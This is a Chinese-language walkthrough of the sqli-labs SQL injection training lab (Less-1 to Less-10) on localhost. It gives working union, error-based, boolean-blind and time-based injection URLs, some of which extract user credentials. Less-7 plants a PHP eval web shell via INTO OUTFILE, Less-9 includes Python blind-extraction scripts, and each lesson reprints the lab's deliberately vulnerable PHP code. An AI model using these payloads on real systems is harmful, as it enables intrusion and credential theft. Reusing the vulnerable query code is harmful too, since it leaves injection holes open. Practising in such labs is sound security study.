Less - 1：

页面：

URL：

http://127.0.0.1/sqli-labs-master/Less-1/

测试：

1.回显正常，说明不是数字型注入，

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

2.回显报错，说明是字符型注入，

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

3.回显正常，单引号闭合成功，通过单引号闭合进行注入，

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' or '1'='1

4.通过逐个测试，得出字段数为3，进行联合注入，

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3--+

//回显正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+

//报错："Unknown column '4' in 'order clause'"

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

//得到可以回显的字段：2,3字段

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+

//得到数据库名为security

6.查看所有数据库名，

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,

(select group_concat(schema_name) from information_schema.schemata),3 --+

7.查看security库内的所有表名，

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,

(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

8.爆出所有列名，以users为例，

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,

(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

9.爆破用户名和密码，

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,

(select group_concat(password) from security.users),(select group_concat(username) from security.users) --+

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

补充：

查数据库名：select database()

information_schema.tables：存储mysql数据库下面的所有表名信息的表

table_schema：数据库名

table_name：表名

column_name：列名

information_schema.columns ：存储mysql数据库下面的所有列名信息的表

table_name：表名

Less - 2：

页面：

测试：

1.测试发现属于数字型注入，不需要进行闭合，直接进行注入

2.payload：

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,3
其他步骤同Less-1

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 3：

页面：

测试：

单引号与括号闭合

http://127.0.0.1/sqli-labs-master/Less-3/?id=1

//回显正常

http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

//You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') --+

//回显正常

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 4：

测试：

双引号和括号闭合

http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+
//闭合成功

http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+
//进行联合注入

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 5：

测试：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1

//回显：You are in..........

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'

//回显：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

法一：通过updatexml报错注入：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23

法二：通过floor报错注入：

①

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+

②

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

③爆破表名

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

④爆破列名

http://127.0.0.1/sqli-labs-master/Less-5?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 7,1),floor(rand()*2))as a from information_schema.tables group by a%23

⑤爆破username，password

http://127.0.0.1/sqli-labs-master/Less-5?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 6：

测试：

方法同Less-5，不同之处为双引号。

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 7：

页面：

http://127.0.0.1/sqli-labs-master/Less-7?id=1

测试：

http://127.0.0.1/sqli-labs-master/Less-7?id=1')) --+

//回显正常

2.写入文件

http://127.0.0.1/sqli-labs-master/Less-7?id=1')) union select 1,2,'<?PHP eval($_GET["s1mpL3"])?>' into outfile "E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\7.php" %23

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 8：

待更新.......

测试：

http://127.0.0.1/sqli-labs-master/Less-8?id=1

有回显

http://127.0.0.1/sqli-labs-master/Less-8?id=1'

无回显，通过基于Bool的盲注。

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+

3.判断数据库名长度（依次测试）

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (length(database())) = 8 --+

4.盲注得出数据库名security

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,1,1))) = 115 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,3,1))) = 99 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+

5.判断表名长度，

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

6.表4为user，

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,2,1))) = 115 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,3,1))) = 101 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,4,1))) = 114 --+

http://127.0.0.1/sqli-labs-master/Less-8?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,5,1))) = 115 --+

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 9：

测试：

1.确定为基于时间的注入

http://127.0.0.1/sqli-labs-master/Less-9?id=1' and if(1=1,sleep(5),null) --+

2.判断数据库长度

http://127.0.0.1/sqli-labs-master/Less-9?

id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+

3.判断库名

http://127.0.0.1/sqli-labs-master/Less-9?

id=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(5), null) --+

参考：

脚本1：

# -*- coding: utf-8 -*-

import requests

import time

url = 'http://127.0.0.1/sqli/Less-8/?id=1'

def check(payload):

    url_new = url + payload

    time_start = time.time()

    content = requests.get(url=url_new)

    time_end = time.time()

    if time_end - time_start >5:

        return 1

result  = ''

s = r'0123456789abcdefghijklmnopqrstuvwxyz'

for i in xrange(1,100):

    for c in s:

        payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)

        if check(payload):

            result += c

            break

    print result

脚本2：

# -*- coding: utf-8 -*-

import requests

import time

url = 'http://127.0.0.1/sqli/Less-8/?id=1'

def check(payload):

    url_new = url + payload

    time_start = time.time()

    content = requests.get(url=url_new)

    time_end = time.time()

    if time_end - time_start >5:

        return 1

result  = ''

panduan = ''

ll=0

s = r'0123456789abcdefghijklmnopqrstuvwxyz'

for i in xrange(1,100):

    for c in s:

        payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)

        if check(payload):

            result += c

            break

    if ll==len(result):

        print 'table_name:  '+result

        end = raw_input('-------------')

    ll = len(result)

    print result

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

Less - 10：

测试：

同Less-9，不同之处是双引号。

源码：

<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity 

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

参考：

https://www.cnblogs.com/-qing-/p/11610385.html#_label0

http://p0desta.com/2018/01/28/Sqli_labs%E9%80%9A%E5%85%B3%E6%96%87%E6%A1%A3/

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